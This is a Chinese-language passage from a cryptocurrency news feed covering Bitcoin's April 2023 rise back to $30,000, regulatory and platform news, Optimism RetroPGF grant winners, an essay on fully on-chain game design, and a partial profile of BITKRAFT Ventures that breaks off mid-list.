    原文：《时隔10个月BTC重回3万美元，牛市要开启了吗？》 作者：秦晓峰 自去年 6 月 10 日跌下 3 万美元关口后，时隔 10 个月，比特币收复失地。OKX 欧易行情显示，今天上午比特币最高上涨至 30500 美元，暂报 30200 美元，24 小时涨幅 6.3%，年内涨幅 82%。 消息面上，昨晚百度以及抖音 App 等上线比特币行情数据查询，也被解读为本次上涨的一大推手，市场称之为「CN Power」（中国力量）。有意思的是，本周恰逢 Web3 香港区块链周，「逢会必跌」的魔咒似乎被打破。 一夜之间，行情突变，比特币重回 3 万美元，是否推开了新一轮牛市的大门？ 在三月份中旬突破至 28000 美元后，比特币一直在该点位附近震荡盘整，历时三周。 昨晚，比特币一鼓作气冲破 29000 美元，并于今天上午成功突破并站稳 30000 美元，创下自去年 6 月 10 日以来新高。目前，比特币暂报 30200 美元，24 小时涨幅 6.3%；从年初以来，比特币累计录得 80% 的涨幅。 不过，昨晚的这轮行情中，其他主流币却并没有跟随比特币的步伐，涨幅远远不及 BTC，出现吸血行情。市值前二十的币种，基本涨幅在 2%～4% 之间；市值前五十的币种中，只有 STX（10.5%）、FIL（6.7%）、LDO（6.5%）以及 RPL（6.3%）能与 BTC 涨幅媲美；特别是 ETH，多次未能突破 2000 美元阻力位。 实际上，从三月份 SVB 等传统银行暴雷后，ALT/BTC 汇率不断下跌，比特币的走势一直强于其他主流币。从市场份额来看，目前 BTC 占比从 3 月的 41% 上涨至 48%，而 ETH 始终在 18% 左右徘徊。一个可能的解释是，比特币成为资金避险通道。 受整体行情上行影响，目前加密总市值升至 12354 亿美元，24 小时上涨 4.5%；从年初以来，加密总市值累计上涨 4069 亿美元，累计涨幅 49.1%。加密用户交易热情明显上升，今日恐慌与贪婪指数为 68（昨日为 62），贪婪程度较昨日上升，等级仍为贪婪。 衍生品交易方面，Coinglass 数据显示，过去 24 小时全网爆仓 1.62 亿美元，其中 ETH 爆仓 1117 万美元，BTC爆仓 5333 万美元，共计 28404 人成为爆仓受害者。根据 Glassnode 数据，比特币期权未平仓量（103亿美元）在 4 月 9 日首次超过期货未平仓量（100亿美元），主要源于大量的看涨期权买入，这也意味着交易员投押注 BTC 的价格会更高。 此外，主流机构对灰度产品兴趣开始降低，ARK 基金 3 月累计减持超 10万股 GBTC；根据 The Block Pro 数据，GBTC 日均交易额在三月份增加 67.6%，升至 5500 万美元，创下自 2022 年 12 月以来的新高，目前，GBTC 的资产净值折价率已经从年初月的 49% 下降至 36.83%；灰度以太坊信托基金（ETHE）净值折价率从年初的 59.3% 下降至 52.63%。当前灰度基金总持仓252.19 亿美元，其余主流币种信托折价率如下：ETC（-62%）、LTC（-43.55%）、BCH（-25.86%）、ZEC（-27.15%）、MANA（-7.25%）、ZEN（-25.26%）、LPT（-27.27%）、BAT（-40.93%），三个正溢价的产品是 XLM（10.73%）、LINK（22.78%）以及 FIL（103.79%） 。 加密相关上市企业也受上涨行情影响，近一周股价普遍涨幅在 10% 以上。其中，矿机第一股嘉楠科技（NASDAQ: CAN）股价今日上涨 4.1% 暂报 2.59 美元，年内累计涨幅 25.7%；美国合规加密平台Coinbase（NASDAQ:COIN）股价今日上涨 7.6% 暂报 66.13 美元，年内累计涨幅 86.8%；最大比特币持仓上市公司 MicroStrategy（NASDAQ:MSTR）股价今日上涨 7.8% 暂报 312.7 美元，年内累计涨幅 120%。 关于本轮行情上涨，市场分析认为主要有两个直接推手：一是香港大会，二是国内三大应用商上线比特币行情。 昨晚，抖音、百度 APP 相继上线比特币行情搜索，用户在搜索框直接输入「比特币」，首条结果直接显示当前最新行情，并以人民币「元」作为计价单位（注：抖音目前并没有开放 A 股行情查询）。今天上午，微博也加入了这一行列，支持比特币行情数据。 这一新闻被外媒以及西方加密社区 KOL 解读为政策开放利好行情。再加上本周恰逢 2023 Web3 香港区块链周，众多华人齐聚香江，打破了「逢会必跌」的魔咒。加密社区冠以「中国力量」的称号，来彰显东方在加密市场上的重要地位。 从宏观经济条件来看，美联储加息在下半年可能放缓，市场对后市走势较为乐观。 在今年 3 月的加息 25 个基点后，美国联邦基金利率水平已经达到 2007 年 10 月以来最高水平。根据美国共和党众议员凯文·赫恩的采访，美联储主席鲍威尔在与美国议员的一次私人会议上被问及美联储今年还会加息多少时表示，预计还会加息一次。 鲍威尔此前曾表示，美联储关注就业空缺、CPI、PPI 和就业数据，而 4 月 7 日晚公布的美国 3 月非农数据显示，劳动力市场已经出现降温的迹象。美国银行认为，非农报告使美联储有望在 5 月份加息 25 个基点；美国银行仍预计美联储将在 5 月会议后维持利率不变，这意味着最终利率将在 5.0%-5.25% 之间。1 月份之后经济数据的连续放缓，意味着第二季度经济将出现疲软，并造成本季度出现负增长的重大风险。到 6 月议息会议时，美联储将获得大量关于第二季度的数据，届时应该证明暂停加息是合理的。 比特币站上 3 万美元关口，是否推开了新一轮牛市的大门？关于未来比特币走势，有以下几个利好因素。 一是减半行情。每当比特币区块链产生 210,000 个区块时，矿工区块奖励将减半；这种减半约每四年发生一次，会使比特币的发行速度下降。下一轮比特币减半将发生在 2024 年 5 月 9 日。 历史上的多次减半，都与整个加密市场的牛市周期密切相关。根据过往数据统计，比特币会在在减半后 368-550 天左右达到峰值，然后减半后 779-914 天触底；换句话说，自 2020 年 5 月减半后，比特币价格的最低点应该出现在 2022 年 6 月至 12 月期间——上一周期的地点出现在 2022 年 11 月（15476 美元）。加密市场已经度过了至暗时刻，再次回到这一价格的可能性很低。 交易套件 Decentrader 联合创始人 Philip Swift 表示，根据计算，与 2013 年、2017 年和 2021 年走势一样，2025 年比特币会出现“双顶”，两次达到 20 万美元以上的峰值；具体的点位可能略微低于数据计算预期，大约是 18 万美元；此后一年，熊市低点将在 5 万美元左右。 二是从链上数据来看，绝大多数比特币处于休眠状态，抛压较小。根据 Glassnode 数据，在过去两年中，53% 的比特币流通供应量处于非活跃状态；近 29% 的比特币流通供应量在过去五年中没有被转移，约 560 万枚（价值约 1580 亿美元）；15% 的比特币在十年内没有被移动过，大约 270 万枚（价值 760 亿美元）。 另外从技术指标上看，多项数据显示长期看涨。今年 3 月初，100 日均线与 200 日均线形成看涨「金叉」；上周，60 周与 200 周均线形成看涨「金叉」，目前受到 100 周均线压制，阻力位在 33500 美元附近。 需要注意的是，虽然比特币长期看涨，但短期内可能面临的另一个压力是美国政府抛售。根据法庭文件显示，美国政府没收了与暗网丝绸之路有关的 5 万个 BTC，并于今年 3 月 14 日出售 9800 枚 BTC，计划于今年分 4 批出售剩余 41500 枚（价值约 12.5 亿美元）。对于市场来说，这将会是不小的抛压。  ( 4 min )
    CoinShares：上周数字资产投资产品净流入5690万美元
    PANews 4月11日消息，CoinShares报告显示，上周数字资产投资产品净流入5690万美元。其中比特币投资产品净流入5600万美元，以太坊投资产品净流出60万美元，做空比特币的投资产品净流出60万美元。此外，上周数字资产投资产品交易量仅为9.7亿美元。  ( 1 min )
    香港金管局前总裁陈德霖担任香港Web3.0协会会长
    PANews 4月11日消息，在正在进行的香港Web3.0协会成立典礼上，香港立法会主席梁君彦为金管局前总裁陈德霖颁发香港Web3.0协会会长委任证书，中国工程院院士陈纯、中国移动香港董事长李锋、互联网专业协会永远名誉会长陈少杰担任香港Web3.0 协会荣誉会长，香港科技大学副校长汪扬担任首席科学顾问，财经事务及库务局前局长陈家强担任首席金融顾问。  ( 1 min )
    微博搜索“比特币”已无法显示行情数据
    PANews 4月11日消息，经查看，微博搜索“比特币”已无法显示行情数据。 此前今日早些时候消息，抖音App内搜索“比特币”已无法显示行情数据，仅保留风险提示。  ( 1 min )
    抖音App内搜索“比特币”已无法显示行情数据，仅保留风险提示
    PANews 4月11日消息，经查看，抖音App内搜索“比特币”已无法显示行情数据，仅保留“根据国家相关规定，非官方虚拟货币不具有与法定货币等同的法律地位，请谨慎投资”的风险提示。  ( 1 min )
    一文速览Optimism基金会RetroPGF 2 Top10获奖项目：基础设施类
    编者按：欢迎阅读 Optimism 基金会权威解读文章。本文详述了 RetroPGF 2 基础设施 + 依赖项类别的十大获奖项目，展示了它们在以太坊生态和 OP Stack 发展中的重要地位。跟踪研究这些项目，将助您抓住 Web3 投研的中长期机会。现在，让我们共同探究这些引领行业发展的杰出项目！ 本文由公众号“Web3地图”编译自 Optimism 官推，文章摘要由ChatGPT自动提取。文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 在 RetroPGF 2 中，为支持 OP Stack 的使用和发展的人们获得了 1000 万 OP 的奖励！ 基础设施 + 依赖项目和人员总共获得了 3,706,329 OP，今天的展示聚焦于该类别的前 10 名获奖者！?️ @ProtocolGuild 为以太坊生态系统的核心开发提供资金：一项基础公共利益。公会成员积极为降低 rollup 用户费用（致敬 EIP-4844）和扩大对以太坊信任保证的访问的倡议做出贡献。 OP 奖励：557.3k Go Ethereum（Geth）是以太坊的 Go 实现，是通往去中心化网络的入口。作为自生态系统诞生以来的核心部分，Geth 是最早的以太坊实现之一，使其成为经过最严格测试的客户端。 OP 奖励：230.5K @Solidity_lang 是一种用于开发以太坊智能合约的编程语言。Solidity 编程语言是一个由核心团队管理的开源社区项目，是编写以太坊智能合约的最常用语言。 OP 奖励：217.3K @ricmoo 领导 Ethers 库的开发，这是一个用于以太坊链的完整精简库。Ethers 被 Optimism 开发者广泛使用，提供了一个全面的类库和函数，用于与合约 ABI 以及其他加密和协议算法进行互操作。 OP 奖励：209.1K EIP-4844 通过一种交易类型增加了以太坊的数据可用性，该类型使 blob 在固定时间内可用。EIP-4844 是项目中立的，由核心贡献者的混合团队在公开场合开发，对实现 OP Stack 可扩展性起着关键作用。 OP 奖励：195.6K Optimism monorepo 依赖项集合收集包括 100 个对 OP Stack 成功至关重要的开源项目。这些项目是造福更广泛的软件开发社区（包括 Optimism 和加密领域）的公共产品。 OP 奖励：188.9K @latticexyz 是 OPCraft 背后的团队，这是 OP Stack 上的第一个应用程序 - 帮助开发者在链上更具雄心。通过开源的 MUD 应用程序框架，他们已经使数十个团队能够用其去中心化应用程序（dApps）突破极限。 OP 奖励：183.3K Sigma Prime（@sigp_io）是最常用的以太坊共识客户端之一，连接到其他客户端形成一个弹性、去中心化的区块链。Lighthouse 是开源的，并积极致力于通过研究和开发来支持所有 L2，包括 EIP-4844 的工作。 OP 奖励：165.4K Goerli 测试网是由社区发起、为社区打造的首个公共以太坊测试网。它旨在包容整个以太坊开发者栈。Goerli 为 Holli 测试网铺平了道路，Holli 测试网将在今年晚些时候取代 Goerli。 OP 奖励：143.5K @ErigonEth 是以太坊执行客户端实现的效率前沿。Erigon 有一个快速而紧凑的数据模型，推动存档节点性能的极限，团队不断创新以提供更优化的以太坊。 OP 奖励：141.6K Erigon 下一期将展示 RetroPGF 的第三类别：工具 + 实用程序！?️  ( 3 min )
    印度财长：印度担任G20主席国旨在制定应对加密货币风险的共同框架
    PANews 4月11日消息，据印度经济时报报道，印度财政部长Nirmala Sitharaman 表示，印度担任G20主席国的目的是为所有国家制定一个共同框架，以应对近期加密市场出现的冲击后与加密货币相关的风险。 她在彼得森国际经济研究所的一次讨论中表示：“鉴于加密货币出现了如此多的崩溃和冲击，加密货币是G20印度主席国期间讨论的一个非常重要的部分。我们寻求为所有国家制定一个共同框架来处理这个问题。” 印度的G20主席国任期将于2023年11月30日结束，G20国家将有大约7个月的时间来制定可在不同司法管辖区实施的全面加密改革。  ( 1 min )
    外媒：推特公司现已并入名为X Corp.的实体公司
    PANews 4月11日消息，根据国外科技媒体Slate披露的一份4月4日的法庭文件，推特公司现在已并入名为X Corp.的实体公司中。 这份法庭文件涉及推特和Laura Loomer的一起诉讼案，Loomer指责推特公司在2019年禁止其账号，违反了联邦敲诈勒索法。在法庭文件中写道，Loomer当前的被告已经从Twitter Inc.调整成为X Corp.，是Twitter Inc.的“利益继承人”。其母公司被确定为X Holdings Corp.。 马斯克并未公布本次合并，但其此前曾表示将推特打造成名为X的超级应用程序，类似于微信。  ( 1 min )
    从消费者到创造者，站在玩家视角漫谈全链游戏设计
    作者：Simon, IOSG Ventures 本文为IOSG原创内容，仅做行业学习交流之用，不构成任何投资参考。如需引用，请注明来源，转载请联系IOSG团队获取授权及转载须知。 任性地下个定义：全链游戏是使用智能合约构建，且core game loop直接运行在区块链上的复杂应用， but why bring games on-chain? 从Atari 时代的“pong”开始，到arcade时代的格斗，到PC互联网时代上的FPS，MMO，到mobile上的水果忍者，又或者如今的ai生成剧情。video games发展历史中的一条草蛇灰线是新技术对新玩法/的启迪。 如果说以游戏代币经济/道具NFT化为代表的游戏资产的上链为传统游戏注入了“real money”的元素，更多的是在把玩游戏的monetization和live-ops 那么将游戏核心逻辑上链则是在游戏玩法设计的层面上，启迪一批能实现最大“游玩自由”的游戏——这是我们对提问的回答。 While builders are still building, 能破圈的 killer fully on-chain game仍未出现， 聊聊未来的全链游戏会好玩在哪，如何设计一款 好玩 的全链游戏。 我们或许都听过v神和魔兽世界设计师的那个悲惨故事，用全链游戏打造自主世界，订立digital物理法则的故事十分性感，近期也不乏项目也备受关注，但是完全去中心化游戏，玩家主权等叙事，笔者认为仍需要反复推敲琢磨。与其陷入定义之争——去讨论on-chain game的定义，上多少链的游戏才算fully on-chain，去讨论一个产品算不算游戏云云， 不如回归第一性问题——如果把某个全链游戏产品定义为video game的话，作为作为一种游戏好玩在哪？谁会为他埋单？如果要向一个游戏玩家推荐这个品类里的任何产品，你会怎么讲？all after all, what‘s so fun about it？ 我们从GDC上一则新鲜出炉的新闻出发。 Epic Games即将在3月22日开放旗下全新产品Unreal Editor for Fortnite（简称UEFN）的beta测试。简单来说，这款产品就是Epic“杀鸡用牛刀”，使用基于UE5引擎的技术打造了一款《堡垒之夜》专供的内容编辑器，供玩家在游戏中创作并分享内容。 UEFN的前身是Epic Games在2018年推出的Fortnite Creative编辑器工具。Fortnite Creative的功能较为“傻瓜式”：玩家可操作人物四处走动，使用“手机”道具进行修改游戏内地形，对素材、物品的位置进行编辑和摆放等简单操作，可使用的资产也十分有限。 此次推出的UEFN在功能性上更是远超于前辈。除了兼容Fortnite Creative中的所有工具外，Epic为玩家搭载了一整套虚幻5引擎中广泛使用的专业级开发工具，包括特效工具Niagara，动画工具Control Rig与Sequencer等等，玩家还可以载入外部纹理、网格、音频与动画文件，在UEFN中创建材质与3D建模，导入外部模型资产等等。此外，Epic甚至还将自家开发的编程语言Verse在UEFN中进行了首发。从功能性上来看，《堡垒之夜》中搭载的这款UEFN几乎可以被称作“UE5青春版”。 聪明的制作者正在和玩家一起制作游戏。 从传奇的私服，到到GTA 的mod，再Minecraft，Robolox，到最近的Fornite creative mode，甚至是眺望其他内容领域，经营者们会发现，最高效地构筑内容壁垒/对抗内容消耗的方式，永远是是给用户/玩家好用的创作工具，去繁荣UGC的生态。但回归到游戏，去中心化、赋能个体这个命题其实要复杂的多： 作为第九艺术，作为一种互动沉浸式的内容，传统video games的设计开发，从indie到到商业游戏, 从一刀999到3A，其实是很看中自上而下的设计者意识传达的。作为总工程师，游戏制作人是游戏的第一作者，掌握着设计开发过程中的种种生杀大权。欧美3A大厂如此，推崇明星制作人体系的日本厂商更甚。 在传统大型游戏的开发过程更像是建金字塔，其实是个高度中心化的事情。only a selected few get to set the rules. 这里面给到其他“生态参与者”的自由是很小的。 游戏玩法本身就是关于规则的提炼和设计，为了保证作品主题和玩法的统一性，设计者意识/核心玩法设计是很难缺位的，否则就只某种社会实验罢了，那就不在“游戏”的讨论范畴了。 归根结底，彻底的去中心化很难构建出好玩的沉浸式体验。 2017年愚人节，Reddit上举办了一场社会实验r/space，数万名玩家在同一张，像素画布上作画。画作相互覆盖，百花齐放是很美，但是很难想像这个画布上能出现某一统一主题/玩法 ——创作者集体缺少足够共识。 矛盾是：游戏设计者过分掌控创作自由，游戏一成不变玩家难以参与，过分让渡创作自由，难保游戏本身不会面目全非。那么如何在保证游戏核心玩法的前提下，充分让渡游戏的创作自由呢？全链游戏带来了某种曙光。 与金字塔的例子对照，愚公跟后代说，你要跟你的后代说我们家要把这个山挖了，这样我们就能出海了。子子孙孙们有的用铲子一挖，有的用炸药炸，有的发明了飞机飞过去…… 如果我们用愚公移山的智慧——用简单但solid的共识凝聚玩家，将如何玩这款游戏的自由让渡给玩家，会有什么样的产品出现呢？ 全链游戏的乐趣应该是：在区块链上构筑稳固、不可篡改的核心玩法，并将衍生玩法的设计最大限度地让渡给玩家，使得游戏衍生本身能产生无数的可能，内容再次创作有无限的延展性。 笔者觉得创作一款好玩的全链游戏能实现这个愿景，设计者要try to play god（当然是一个有趣的god），造一个有趣的世界，具体来说分三步： 1）提炼出游戏的核心玩法，明确有哪些要素是希望刻进游戏dna里，不希望任何人（包括作者）能改变的，然后将核心玩法拆分成最小的原子 2）将游戏原子用区块链变成玩家的共识，成为游戏世界运行的底层规则 3）用合理的设计鼓励人类用这些原子去创造更有趣更丰富的世界。 我们来想象一下： 1）将核心玩法拆分成最小的原子。假设我们要设计一款中古题材的生存建造类全链游戏，游戏的核心玩法就是crafting：a+b=c，分析下来就是， 在游戏中制作的物品根据它们所使用的资源继承属性，然后这些物品可以以某种方式被命名，以使游戏的其他要素可以对它们作出反馈。 我们决定将crafting这部分逻辑放进智能合约，和中心化服务器中存储的游戏逻辑不同，所有人都可以了解并验证这些逻辑，这部分游戏就如同是这个世界运行的物理定理，不以任何人的意志为转移。 2）将游戏原子用区块链变成玩家的共识，成为游戏世界运行的底层规则。接着我们去定义一个世界，这个世界上存在5种元素，LIFE（血） ATTACK（攻击） DEFENCE（防御）SPEED （速度）BULK（体积）。 世界上的所有的物品都包含这些元素，如果在游戏遛弯捡起的木材有100点防御属性，那么它就能被制作成一块盾牌。将木材变成盾牌是写智能合约的工作，玩家也可以将这个smart contract加到地图上的建筑物上，从而创建用于将木材变成盾牌的工厂建筑物——武器工厂。 这可能是一个非常简单的smart contract：输入木材，输出盾牌。但背后隐藏着这个世界的物理法则——1.物品和物品可以被合成新的物品 2.木头（defense）是可以抵挡攻击（attack）的。这个物理法则是不可篡改的，是所有玩家都需要respect的。 但是要如何利用它——到底是将其附着在某个建筑上并命名这个叫武器工厂，还是将它附着在一个npc身上，将这个npc命名为女武神——同样能用魔法将木头变成名为所罗门的盾牌。那就交给玩家创作了。法无禁止即可为。 智能合约不仅限于制作物品。作为游戏中的玩家，我想写一个关于圣盾的子故事。这可以使用含有大量BULK原子的材料创建一座建筑——堡垒。在这堵墙上附加一个smart contract，只允许携带名为所不朽圣盾的盾牌的过去的玩家通过。这样不朽圣盾除了在战斗中有用之外，还具有其他实用性。此外，这些物品本身可以用于制作新的物品，因此10个不朽之盾和一颗女巫牙可以参加一个抽奖，抽奖有概率开出上古之戒，让持有者通过继承的SPEED元素获得地图上的道路地图。 这些设计师未曾设想的逻辑都可以被玩家开发并添加到游戏中，因为这部分规则是被留白的。 除了以上crafting的核心以外，还有很多东西可以畅想。比如，建筑可以运行任何智能合约，允许AMM交易帖子、赌场、地牢。还记得你采集木材的那片森林嘛？它只是一个没有反击的带有一些LIFE元素的object。那条龙？它是另一个拥有大量ATTACK元素的object，需要很多带有ATTACK和DEFEND元素的玩家才能打败。 设计师可以放心地将代码交给玩家编辑，将游戏敞开了任由玩家创作，因为他们可以确信，他们规定的东西是难以被篡改的。 我并没有在天马行空，这些概念都正在被验证，比如在εxgrasia这款链上的沙盒游戏里，每块土地都是玩家可以编程的智能合约。 3）用合理的设计鼓励人类用这些原子去创造更有趣更丰富的世界。最后一步其实最难，给你的游戏好的aesthetics和dynamics，告诉玩家，这个世界能做那么多事情，但我为什么要做呢？这里是传统游戏设计的范畴了，也是目前很多概念验证型的全链游戏项目还需要精进的方面，此处篇幅有限，不做展开。 当新概念事物难以被描述的时候，在老古董里找一个恰当参照是一个很好的办法。这尤其适用于游戏，从拉弓射箭到穿越火线，人类脑子里的那个feedback loop真的没怎么变过。如果问我把游戏的核心逻辑上链对游戏乐趣有什么添砖加瓦的地方，选个参照来解释的话…… 我会找具有玩家共建功能的桌游，又或者扑克——有一些被开发者设计限定的规则，这些hard rules 有着广泛的共识，不可篡改，如同扑克的手牌数量和花色。一方面，这些规则足够的简单，共识足够的广泛，以至得以在不同文化间，不同的时代间，传承流传而不会消损。另一方面，除了这些规则以外的一切都是自由的，你可以用他们打德州，斗地主，炸金花，甚至利用物理属性玩叠叠乐house of cards，飞镖等等等等。 需要遵循规则都已被设计，但所有玩法都等待开发。 With the strictest rules, comes the greatest freedom. 这才是能被设计出的最大游戏自由。  ( 4 min )
    美SEC咨询委员会敦促SEC继续加强加密执法行动，称几乎所有代币都是证券
    PANews 4月11日消息，据Bitcoin.com报道，美国证券交易委员会 (SEC) 投资者咨询委员会 (IAC) 周四向SEC提交了其对加密资产监管的意见。该委员会认为，几乎所有加密代币都是证券”，敦促SEC“将与加密资产相关的执法作为重中之重”。据悉，该委员会的成立旨在就监管优先事项向证券监管机构提供建议。 该委员会在其意见中表示，许多投资者最近因投资加密资产而遭受重大损失。据估计，这些损失已超过2万亿美元；许多知名的加密货币公司要么已经申请破产，要么即将破产，而其他公司则面临民事和刑事指控。这封信补充说，加密资产“也受到非常多的欺诈和滥用”，“加密交易的半匿名和无国界性质使其非常适合洗钱和逃税等各种非法活动。” IAC写道：“SEC应继续积极对在加密领域违反联邦证券法的公司采取执法行动，包括发行人、托管人和那些提供加密资产投资交易的未注册平台。”此外，IAC 建议美国证券交易委员会“在需要充分监督加密证券行业的情况下，向国会寻求适当的额外拨款。”  ( 1 min )
    币安将下架QLC、NEBL和AUTO
    PANews 4月11日消息，据官方公告，币安宣布将于4月18日11:00下架Kepple (QLC)、Neblio (NEBL)、Auto (AUTO)。具体涉及的交易对为QLC/BTC、NEBL/USDT、NEBL/BUSD、NEBL/BTC、AUTO/USDT、AUTO/BUSD、AUTO/BTC。 根据公告，在4月19日11:00之后存入的这些代币将不会记入账户。在7月18日11:00之前，将继续支持从币安提取这些代币。  ( 1 min )
    抖音“比特币”搜索页面新增风险提示
    PANews 4月11日消息，经查看，抖音“比特币”搜索页面新增风险提示，“根据国家相关规定，非官方虚拟货币不具有与法定货币等同的法律地位，请谨慎投资”。 此前昨日消息，抖音App已支持比特币行情数据查询。  ( 1 min )
    外媒：美国银行和富达通过增持MicroStrategy股票对比特币有间接风险敞口
    PANews 4月11日消息，据Blockworks报道，美国银行和富达银行在第一季度的资产负债表上持有大量MicroStrategy股票，这表明机构对间接比特币敞口仍有兴趣。 截至3月底，美国银行显示在第一季度购买了86,147股MicroStrategy (MSTR) 股票。根据美国证券交易委员会的一份文件，富达在同一时期增持了97,199股。两份文件都追踪了从1月1日到3月31日的交易，并不一定表明两家公司的总体持股情况。 自MicroStrategy开始在其资产负债表上持有比特币作为储备以来，该公司的股价一直密切跟踪比特币的价格。许多交易员仍将这只股票视为最接近比特币现货敞口的公开交易代理之一。截至4月4日，MicroStrategy持有14万枚比特币。  ( 1 min )
    加密圈最活跃的游戏风投BITKRAFT Ventures：已出手超30个加密项目，2.4亿新基金蓄势待发
    虽然是熊市，加密基金们还是在逆势筹资，进行市场布局。截至3月底，BITKRAFT Ventures已为其第二只“代币基金”筹集了2.206亿美元，完成了该基金总融资目标2.4亿美元的92%。目前Bitkraft 管理着一个以电子竞技为重点的风险投资基金、一个普通风险投资基金以及两个“代币”基金，资产合计约6 亿美元，其中近三分一的部分与Web3有关。 专注于游戏和电子竞技领域的BITKRAFT Ventures于2016年成立，从2020年开始，它就一直是游戏领域最活跃的投资机构之一。2021年，BITKRAFT筹集7500万美元，推出了旗下第一个代币基金，用于投资区块链游戏和数字娱乐领域。 20余年游戏行业经验，德国电竞OG领衔 相比很多原生的加密投资机构，BITKRAFT Ventures的团队从创始人到高管都普遍有更资深的垂直领域经验。 BITKRAFT Ventures 的创立者Jens Hilgers是一名德国企业家，已在游戏行业耕耘二十余年。1997年，还在读大学的Hilgers创建了在线PC 游戏的新闻门户Gamers.de，并创建了欧洲局域网派对Gamers Gathering。2000年，Hilgers在德国科隆创立了 Turtle Entertainment GmbH。在公司发展的前十年，Hilgers一直担任首席执行官，不仅一手将其打造为知名电竞品牌，也为电子竞技行业做出不少贡献，而公司旗下的电子竞技联盟ESL发展至今已成为全球最大的电子竞技组织之一。 Hilgers从2010年开始转任Turtle Entertainment GmbH董事会主席，5年后摩登时代集团购买了8600万美元的股权入股。此外，Hilgers还创立了电子竞技初创公司Bayes（前身为 Dojo Madness），并与人共同创立了电竞俱乐部G2 Esports，现已发展为全球领先的知名电竞团队。 2021年，BITKRAFT聘请了Piers Kicks，让其领导公司在加密生态的业务，并帮助管理7500万美元的加密/Gamefi基金。Piers是加密货币研究公司DelphiDigital投资部门的创始合伙人，负责领导公司游戏部门。凭借这种特殊关系，两家公司能够密切合作，并将传统游戏领域和加密行业的丰富经验和专业知识结合起来。此外，他还是区块链游戏联盟的董事会成员，曾向Activision、Riot 和Zynga等知名游戏公司提供加密和区块链业务方面的咨询。 2022年，GGWP 联合创始人Dennis Fong和Polygon Studios首席执行官Ryan Wyatt以合伙人的身份加入了BITKRAFT。GGWP 是一个人工智能驱动的游戏和内容审核解决方案，Fong还是一位活跃的天使投资人，在他的投资组合中拥有超过七家独角兽。Web3 和区块链开发平台Polygon被定位为以太坊扩展方案的“瑞士军刀”，有六边形战士之称。Wyatt还称将把自己花了十多年时间打造创作者经济的经验，带给BITKRAFT Ventures 团队及其投资组合公司。 BITKRAFT的团队成员分布世界各地，其中既有来自 Activision Blizzard、Riot Games、Epic Games、Google 和 Apple 等公司的前高管，也不乏游戏及加密领域的初创公司创始人。如另一个在BITKRAFT的加密业务中担任重要角色Nico Vereecke，近5年内他在加密领域建立了多家初创公司，包括一家旨在探索Web3游戏领域的DAO： Future of Gaming（FOGDAO）。 BITKRAFT认为，就像以太坊这样的生态系统展现出的可组合性那样，区块链将比早期互联网更快地实现复合创新。 BITKRAFT创造了一个名为“合成现实”（synthetic reality）的术语，表示物理世界和数字世界的融合。因此，其多年来一直向AR、VR等专业领域进行投资，如AR技术公司Magic Leap、Metaio、HoloLens等。而BITKRAFT进军Web3游戏行业，并开始致力于将加密货币和游戏相结合，是因为他们相信这将成为实现“合成现实”的重要推动力：区块链则启用了一种新的数字所有权范式，并正在解锁新一代用户获取策略、业务模型和体验。 Hilgers曾在接受游戏与科技媒体GamesBeat采访时表示，BITKRAFT对整个加密和区块链领域感到兴奋的主要原因有两点。第一，通过代币，游戏公司可以通过一种新的方式为自己筹集资金，这极大地改变了事情的运作方式；第二，受到区块链技术的显着影响，一整套全新的功能和特性改变了游戏开发商运营、构建和扩展游戏的方式，以及为游戏提供服务的方式。 根据BITKRT的研究文章，Web3 将成为游戏的下一个主要范式转变，从而导致数十亿新用户进入链上。具体在游戏开发方面，BITKRAFT认为游戏开发者会更倾向于使用基于Move语言的生态系统。文中提到，Move中为数据结构的方式更类似于游戏开发人员习惯使用的 ECS（实体组件系统）模型。在与Move生态系统中的游戏开发者进行数次交流中，不少人表示将Rust开发人员引入Move生态系统中是较为简单的事情。然而实际情况是，当今智能合约开发者的数量微乎其微，Move能否从区块链行业之外招募到新的开发者，是整个领域目前面对的一项重大考验。 此外，BITKRAFT认为随着构建链上游戏所需的技术不断发展，其中跨链互操作性解决方案将是一个非常值得关注的领域。列如Lootverse、Dark Forest等团队直接重塑了游戏的构建方式，他们将创造的力量直接交到社区手中，并鼓励互操作性、可组合性和可扩展性。不过，BITKRAFT对互操作性在未来的发展程度表示谨慎看好，他们判断类似“Ready Player One”元宇宙中所有游戏资产都可以自由流向他处，轻松与无数的环境、物品和其他玩家进行互动的目标是不现实的，至少在可预见的未来是这样。“我们需要解决相当大的技术、社会协调和商业障碍，才能在一些项目之间的战略伙伴关系之外，看到任何规模的互操作性。” 总的来看，他们对区块链游戏的发展前景十分乐观，据BITKRAFT和Naavik共同发布的研究数据，他们判断区块链游戏市场预计将从2021年的15亿美元，到2025年增长至500亿美元，年复合年增长率达到100%。 Alethea AI 为 NFT 构建可扩展的 AI 基础设施，通过 Open AI Foundation 的 GPT-3 技术使 NFT 具有动画效果、交互性和智能性，GPT-3 技术是一种学习型 AI，可以塑造自然语言对查询的响应。其智能NFT（iNFT）Robot Alice在苏富比拍卖行以478,800 美元的价格售出。 AMGI Studios 专注于动画和游戏领域的独立动画技术公司通过使用专有技术和实时动画创新来开发和制作传统娱乐和 Web3 原生属性。 Avalon 专注于创建一个由 UGC 游戏工具提供支持、无需许可的 MMORPG 世界，这些工具允许使用基于区块链的经济基础设施开发 AAA 质量的无代码游戏。 BAYZ 位于巴西的新游戏公会，投资于链游中的NFT，并将玩家带入元宇宙，YGG也是其主要投资者。 BlackPool 第一个专为 NFT 游戏和交易而建立的去中心化自治组织 (DAO)，也是首家数字资产链上量化对冲基金，管理从运动卡到游戏项目再到数字艺术的一系列资产。 Block Born 一家技术和内容创造者，旨在将数十年的跨平台游戏开发经验带入区块链生态系统，以成为下一波游戏 GameFi 的开拓者为使命。 BLOCKLORDS 基于 Web3 的 中世纪宇宙MMO策略类游戏，其开发商为MetaKing Studios，该项目于2022年5月获得1500万美元融资，其他支持者还有Animoca Brands、Shima Capital等。 Bright Star Studios 链游开发商，旗下MMORPG Ember Sword将DeFi 收益和 NFT 所有权相结合，用户可通过浏览器轻松访问游戏内容，且不需要钱包集成。 Burn Ghost 一个休闲 RMG (Real Money Game)游戏平台和 NFT 市场。 Carry1st Web3 和社交游戏发行商 Carry1st，其货币化即服务产品 Pay1sta16z。 Civitas 一款与 Eve Online 类似的基于经济的游戏，设置在一个巨大的世界观体系中。 Community Gaming 电子竞技锦标赛平台，利用区块链技术进行奖励和支付。其支持者还包括SoftBank Group、Hashed等。 CyBall 足球主题的 NFT 游戏，将采用“P2E”机制。 Disco 为用户提供链上身份，在保证隐私的前提下提供互操作性和自治权力。 Epic Games 